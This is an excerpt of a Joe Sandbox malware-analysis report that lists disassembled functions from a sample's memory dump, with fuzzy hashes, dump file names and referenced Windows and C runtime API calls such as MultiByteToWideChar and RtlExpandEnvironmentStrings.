Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efe0a827f492fc4c34874f991692a97efb466d1706bf0fd445472932444df4c9
Instruction ID: b386231f557efc01f71c14b5da53bba5988e245b3068dc2139213913fd143425
Opcode Fuzzy Hash: efe0a827f492fc4c34874f991692a97efb466d1706bf0fd445472932444df4c9
Instruction Fuzzy Hash: 94113970508340AFD304CF14C895B2BB7E1FB89318F088A1DE8D4DB381C779C9068B46

Uniqueness

Uniqueness Score: -1.00%

Function 00CEE451 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 381dc349dc4a24f80cd70d31bfa3573e92a34dd6c060c6a25ec4d698b1987efd
Instruction ID: e4b20fe9206b7ed71258add9c8a500f80a6b09ebe0d13a1565afc29371f13a58
Opcode Fuzzy Hash: 381dc349dc4a24f80cd70d31bfa3573e92a34dd6c060c6a25ec4d698b1987efd
Instruction Fuzzy Hash: BBF0E575BD43407FF6388A059CA3F6772B59B86F08F206018B3023F6E2D5A2B855866D

Uniqueness

Uniqueness Score: -1.00%

Function 00CDFA49 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 721bacb244745aa3665c00bf157a8ba4707d90d4aca754e249bbe8ecbde637e2
Instruction ID: fac9745fa33257a8453d8f9e56548693eb59371352d940480ae192cf06c149b0
Opcode Fuzzy Hash: 721bacb244745aa3665c00bf157a8ba4707d90d4aca754e249bbe8ecbde637e2
Instruction Fuzzy Hash: A3D02B74D0420087D208DB20EC4197A7233DB65308F386439E49B43363ED20A91DC542

Uniqueness

Uniqueness Score: -1.00%

Function 00CDD140 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 3238d5b5f655995793f140008caa56fbb8ad0b90da2b1c87a4cb5ca6660cae4d
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: DAD0A771A487A10E57588D3804A047BFBF8EA47722B18249FE5E6E3209D224DD018698

Uniqueness

Uniqueness Score: -1.00%

Function 00CE4596 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cb6bde4bb873ffcf0c8b61d618761c2bee8ba48cc3ce9c6d3c5b9fad58cfbb5
Instruction ID: e184d0a2009750b607d30f7eabbda1db781380bb2a674d16d38b4769f66a788e
Opcode Fuzzy Hash: 9cb6bde4bb873ffcf0c8b61d618761c2bee8ba48cc3ce9c6d3c5b9fad58cfbb5
Instruction Fuzzy Hash: F3C02B2084C2C047D378CB208C6EAF1FF355C43004E2C309FC0D117C43E0004001431E

Uniqueness

Uniqueness Score: -1.00%

Function 00D07C45 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ddfbdb33046e0c948dbfd7e151f830fd57b35c950b95db17ac49caf2ca002d
Instruction ID: e8d8ce22639c2c99d03c1469624dd66e1f707675331acfe3843cda0122171aa3
Opcode Fuzzy Hash: 57ddfbdb33046e0c948dbfd7e151f830fd57b35c950b95db17ac49caf2ca002d
Instruction Fuzzy Hash: 8CC04C24E591909AE100DF1699405B1626A57D6205714F0105045A7399CD35E4078618

Uniqueness

Uniqueness Score: -1.00%

Function 00D07C47 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2fd6eb2bc6aba0ac7b264a4af10500b53977dce8411845aabe77a6d53e31c5
Instruction ID: 75d658112eb524b8c7f558e9921f8fc4c749a34bbdaebc54924007241f36d986
Opcode Fuzzy Hash: 4f2fd6eb2bc6aba0ac7b264a4af10500b53977dce8411845aabe77a6d53e31c5
Instruction Fuzzy Hash: 93C09B34F5D1905FE604DF15D9514B572BB57C7305714F0146005E339DCD35D407861C

Uniqueness

Uniqueness Score: -1.00%

Function 00D306C0 Relevance: 15.3, APIs: 10, Instructions: 326COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?,00000100,?,?,?,?,?,?,?,?), ref: 00D30790
_malloc.LIBCMT ref: 00D307C9
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,?,?,00000000,?,?,?,?,?), ref: 00D307FC
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,?,?,?,?,?), ref: 00D30818
MultiByteToWideChar.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00D30852
_malloc.LIBCMT ref: 00D3088B
__freea.LIBCMT ref: 00D308EC

Memory Dump Source

Source File: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$_malloc$__freea
String ID:
API String ID: 1187765244-0
Opcode ID: 4eb80a7f47335b4c1cd336f3bd81a73eca17d5afdd960ab8ec311c939f28fe79
Instruction ID: ebcef5e25f3425da85e12dd7bdc9bff275036566b47b736434c2abce06852d0d
Opcode Fuzzy Hash: 4eb80a7f47335b4c1cd336f3bd81a73eca17d5afdd960ab8ec311c939f28fe79
Instruction Fuzzy Hash: 98B1DCB2800219AFDF21AFA4DCA19AE3FB6EF48354F184529FA55A6151D330CD61DFB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D2EEF8 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(00000000,00000000,?,?,00D2D7FD), ref: 00D2EFBB
__init_pointers.LIBCMT ref: 00D2EFC5
__mtterm.LIBCMT ref: 00D2F07B

Part of subcall function 00D2EBA4: TlsFree.KERNEL32(00000003,00D2D892), ref: 00D2EBCF

Strings

FlsGetValue, xrefs: 00D2EF2B
FlsFree, xrefs: 00D2EF45
KERNEL32.DLL, xrefs: 00D2EEFC, 00D2EF01, 00D2EF0C
FlsSetValue, xrefs: 00D2EF38
FlsAlloc, xrefs: 00D2EF23

Memory Dump Source

Source File: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: FreeValue__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3928193026-3819984048
Opcode ID: de206732501cb5f0b17d62e71b4d5741fb1a20c6237d5911e6165eab38c113d8
Instruction ID: 403f9076e53de5778ce7411ce6c0ef46b7069614c4b524a831d5c4af8610ce0f
Opcode Fuzzy Hash: de206732501cb5f0b17d62e71b4d5741fb1a20c6237d5911e6165eab38c113d8
Instruction Fuzzy Hash: 1E31607C800321ABDB20AF75BD06A567BE4FB66768B190929F40CD33E1EB71C4818E70

Uniqueness

Uniqueness Score: -1.00%

Function 00D32725 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00D3274D

Part of subcall function 00D2DE53: __getptd.LIBCMT ref: 00D2DE61
Part of subcall function 00D2DE53: __getptd.LIBCMT ref: 00D2DE6F

__getptd.LIBCMT ref: 00D32757

Part of subcall function 00D2ED41: __amsg_exit.LIBCMT ref: 00D2ED51

__getptd.LIBCMT ref: 00D32765
__getptd.LIBCMT ref: 00D32773
__getptd.LIBCMT ref: 00D3277E
_CallCatchBlock2.LIBCMT ref: 00D327A4

Part of subcall function 00D2DEF8: __CallSettingFrame@12.LIBCMT ref: 00D2DF44

Part of subcall function 00D3284B: __getptd.LIBCMT ref: 00D3285A
Part of subcall function 00D3284B: __getptd.LIBCMT ref: 00D32868

Memory Dump Source

Source File: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit
String ID:
API String ID: 3688206559-0
Opcode ID: 8073c8ead9066b99b9c2bccd5036c5b887a55bd1382170aeb75f762e620e69be
Instruction ID: b7a49d4139cf46befdeee62050f66e08e7680088b48853879aaafe870a922738
Opcode Fuzzy Hash: 8073c8ead9066b99b9c2bccd5036c5b887a55bd1382170aeb75f762e620e69be
Instruction Fuzzy Hash: B011B2B1C002199FDB00EFA4D846BAD7BB0FF18318F148569F854AB251DB389A159B70

Uniqueness

Uniqueness Score: -1.00%

Function 00D32474 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00D3248E

Part of subcall function 00D2ED41: __amsg_exit.LIBCMT ref: 00D2ED51

__getptd.LIBCMT ref: 00D3249F
__getptd.LIBCMT ref: 00D324AD

Strings

MOC, xrefs: 00D32480
csm, xrefs: 00D32487

Memory Dump Source

Source File: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: __getptd$__amsg_exit
String ID: MOC$csm
API String ID: 1969926928-1389381023
Opcode ID: 33b9cced6b741998e27e7e2c03043b0455c789580758d048f674bb0431158d77
Instruction ID: 2a40d5fccc28a2875b6d07e2fb250bfddf8353138d900e762c0306b9d0f460ba
Opcode Fuzzy Hash: 33b9cced6b741998e27e7e2c03043b0455c789580758d048f674bb0431158d77
Instruction Fuzzy Hash: 7DE0EC369102248FD710AB68D446B7837A5FF79318F5E45E1E44CCB223DB78E8909A72

Uniqueness

Uniqueness Score: -1.00%

Function 00D378E0 Relevance: 7.8, APIs: 5, Instructions: 263COMMON

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 00D379E1
__FindPESection.LIBCMT ref: 00D379FB

Memory Dump Source

Source File: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: a6a8e14c1055e0fa927571e4b40f998dbacb5d3e95717f12630a569fbbe88f48
Instruction ID: e1b92ec6dda5f39d2cc458ddf63f58ceeb9d4875a1f4f6d562fcf15cfe32456f
Opcode Fuzzy Hash: a6a8e14c1055e0fa927571e4b40f998dbacb5d3e95717f12630a569fbbe88f48
Instruction Fuzzy Hash: B091B5BAA08A198BCB24CF58D84076EB3B6FF89350F194269D815D7390D735ED46CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D33E45 Relevance: 7.7, APIs: 5, Instructions: 157COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?,00000000,?,00000000,00000000,?,00D3402F,00000001,00000000,?), ref: 00D33EEB
_memset.LIBCMT ref: 00D33F40
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00000000,00000000,00000000,?,?,?,00000000,00000001,?), ref: 00D33F55
__freea.LIBCMT ref: 00D33F6D

Memory Dump Source

Source File: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$__freea_memset
String ID:
API String ID: 2568176243-0
Opcode ID: dc3eaf3ba3840c8a73b29357924586a033fae5d86e6c1fa0e47ce3e0c04fc2aa
Instruction ID: 7baf0a5eb730ba082407fecd36cd319e1914b73ebd2ae6e4d3e8ff294d279535
Opcode Fuzzy Hash: dc3eaf3ba3840c8a73b29357924586a033fae5d86e6c1fa0e47ce3e0c04fc2aa
Instruction Fuzzy Hash: 7351AAB290015AAFDF10AFA4DD81CAF7BB9EF48364F584529FA14D7150D631CE618BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D35934 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00D35968
__isleadbyte_l.LIBCMT ref: 00D3599C
MultiByteToWideChar.KERNEL32(?,00000009,?,?,?,00000000,?,?,?,?), ref: 00D359CD
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,?,00000000,?,?,?,?), ref: 00D35A3B

Memory Dump Source

Source File: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 8cdf980c78e358ac318674dc660bcfe31279b50ccfb1b8cd524f3004a7681ce5
Instruction ID: 92be540417a602bfb8d3bdd58277ae68280249f21f592a41912de877137cab2b
Opcode Fuzzy Hash: 8cdf980c78e358ac318674dc660bcfe31279b50ccfb1b8cd524f3004a7681ce5
Instruction Fuzzy Hash: D731C031A00686EFCF20DF64E894AAD7BB1EF01320F1989A9E4A58B199D331DD50DB70

Uniqueness

Uniqueness Score: -1.00%

Function 00CE351C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00CE35E1
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,?,?,?), ref: 00CE3612

Strings

E&eb, xrefs: 00CE3787

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: E&eb
API String ID: 237503144-175690455
Opcode ID: 0b8b1efdb047584276b068a62ca768dc44f499f80373f3eb543a1bde6c95bf75
Instruction ID: 021d2959513a1b972a0e77d885f78126193ed151b13184a3729cf5f451660541
Opcode Fuzzy Hash: 0b8b1efdb047584276b068a62ca768dc44f499f80373f3eb543a1bde6c95bf75
Instruction Fuzzy Hash: 3B618471610B405FD328CF34C886B67B7E5EB84314F148A2DE4AAC7791EB74BA458B51

Uniqueness

Uniqueness Score: -1.00%

Function 00D01CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000D,m%s,00000008,?), ref: 00D01DB3

Strings

m%s, xrefs: 00D01D58
!EJK, xrefs: 00D01D0C

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: m%s$!EJK
API String ID: 237503144-2691780584
Opcode ID: 050febc9ac770022577c90710b3802f2d8eee3b8026d8b83acc54f1e3ef20987
Instruction ID: a4d15cd26529558b7e5c6408a740c425b606f9044a6164ac05e78a953dba1cc8
Opcode Fuzzy Hash: 050febc9ac770022577c90710b3802f2d8eee3b8026d8b83acc54f1e3ef20987
Instruction Fuzzy Hash: CC2198B10083909FD304CF15D891B5BBBF4FB86348F150A1CF9A5AB280D775DA06CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D3284B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D2DEA6: __getptd.LIBCMT ref: 00D2DEAC
Part of subcall function 00D2DEA6: __getptd.LIBCMT ref: 00D2DEBC

__getptd.LIBCMT ref: 00D3285A

Part of subcall function 00D2ED41: __amsg_exit.LIBCMT ref: 00D2ED51

__getptd.LIBCMT ref: 00D32868

Strings

csm, xrefs: 00D32876

Memory Dump Source

Source File: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

